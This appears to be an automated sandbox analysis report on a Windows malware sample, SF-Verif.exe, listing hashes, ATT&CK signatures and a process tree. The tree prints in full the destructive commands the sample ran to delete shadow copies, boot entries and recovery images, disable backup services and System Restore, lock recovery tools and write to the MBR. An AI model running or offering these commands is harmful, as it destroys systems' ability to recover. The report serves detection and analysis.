7c75a2d74fe4523dc28362f095482d9120cab1ffb7896947cc65eb950eaee05c

Analysis

max time kernel
51s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/05/2026, 23:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
SF-Verif.exe
Size 667KB
Sample260523-26dfcsfs5w
SHA256 7c75a2d74fe4523dc28362f095482d9120cab1ffb7896947cc65eb950eaee05c
MD5 c029e9b4699b1277cdac62df58012e0f
SHA1 eb3a86d98ebe4d63f4917a07bd671602ea451403
SHA512 ae8665c034fa2cd25989cebfe795f64797db63464bda400b501ec6e24c795599e67c043bdba204b5e6281e8abb0427dcb651ec87670f01d5f3108930a24288b9
SSDEEP 6144:bNp819f5K6Z7deV39iKthkmL23fzaVRhEoquBvO835VKLZrSumyaRth86cEcm:bGM07dQ9iItLMzuIuBd35VSsth83EH
TLSH
T11BE4087AF71219ADC05F037B85A587E195912685F334A5B702B48E53BAE34C24F3AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 21 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3752	bcdedit.exe
3308	bcdedit.exe
4260	bcdedit.exe
2200	bcdedit.exe
3456	bcdedit.exe
376	bcdedit.exe
3020	bcdedit.exe
2924	bcdedit.exe
3452	bcdedit.exe
496	bcdedit.exe
3392	bcdedit.exe
2420	bcdedit.exe
4540	bcdedit.exe
948	bcdedit.exe
5384	bcdedit.exe
6096	bcdedit.exe
5588	bcdedit.exe
5792	bcdedit.exe
5632	bcdedit.exe
5664	bcdedit.exe
1908	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3176	icacls.exe
4692	icacls.exe
1844	icacls.exe
2580	icacls.exe
3616	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 9 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4596	cmd.exe
4244	cmd.exe
276	cmd.exe
6048	cmd.exe
3184	cmd.exe
2132	cmd.exe
4980	cmd.exe
2544	cmd.exe
5992	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	SF-Verif.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4596	sc.exe
3024	sc.exe
5068	sc.exe
3160	sc.exe
272	sc.exe
1324	sc.exe
5108	sc.exe
4008	sc.exe
4372	sc.exe
3036	sc.exe
4168	sc.exe
3196	sc.exe
3372	sc.exe
4020	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1988	msedge.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2592	vssadmin.exe
4780	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
6048	taskkill.exe
5444	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2580	reg.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 1500	2948	SF-Verif.exe	88
PID 2948 wrote to memory of 4404	2948	SF-Verif.exe	92
PID 4404 wrote to memory of 3752	4404	cmd.exe	94
PID 2948 wrote to memory of 3664	2948	SF-Verif.exe	95
PID 3664 wrote to memory of 3308	3664	cmd.exe	97
PID 2948 wrote to memory of 3268	2948	SF-Verif.exe	98
PID 3268 wrote to memory of 4260	3268	cmd.exe	100
PID 2948 wrote to memory of 4900	2948	SF-Verif.exe	101

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1500	attrib.exe
1996	attrib.exe
60	attrib.exe

C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe
"C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\SF-Verif.exe"
  2⤵
  - Views/modifies file attributes
  PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  PID:4900
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:2040
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:4428
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:3788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:3340
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:1424
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:2348
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:4884
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:3496
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:3064
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:720
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3336
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:2064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3516
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:60
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:556
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:1880
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:4524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:2300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:4500
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:3024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:440
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:4716
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:3036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:2740
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:3160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:2848
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:4812
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:1324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:3768
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:1544
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:3196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2508
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:3352
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:4972
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:4008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:4236
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:4020
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3800
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:3272
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:4568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:2080
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:1500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:4304
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:2516
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:1572
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:2084
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:1808
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:2992
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2132
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:4612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4980
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:276
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:3776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:1324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:2520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:2412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:2568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:4560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3236
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:3920
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:576
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2668
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2284
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:3616
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:1996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2a0,0x35c,0x7ff9dbe2c188,0x7ff9dbe2c194,0x7ff9dbe2c1a0
    3⤵
    PID:1720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1744,i,4014835348549998511,11088143057700319892,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:3
    3⤵
    - System Time Discovery
    PID:1988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1616,i,877433507010591585,16661490236582420777,262144 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:2
    3⤵
    PID:2496
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2300,i,8126889497180171968,9638372922162539165,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:8
    3⤵
    PID:3056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,1510164782502427381,7896022992722827697,2097152 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
    3⤵
    PID:2188
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3456,i,12248585350816773373,7255184957739741566,2097152 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
    3⤵
    PID:4184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4112,i,11777168210997828871,5269177046974128825,2097152 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
    3⤵
    PID:2444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4128,i,6064720163111010139,897164624937651363,2097152 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=4628 /prefetch:2
    3⤵
    PID:5060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3608,i,2963176589053423352,590142942904869085,524288 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:8
    3⤵
    PID:5112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5252,i,14801932136091033897,11558583958767899862,2097152 --field-trial-handle=2560,i,15344018571895480822,4297669326664083678,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:1
    3⤵
    PID:3776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
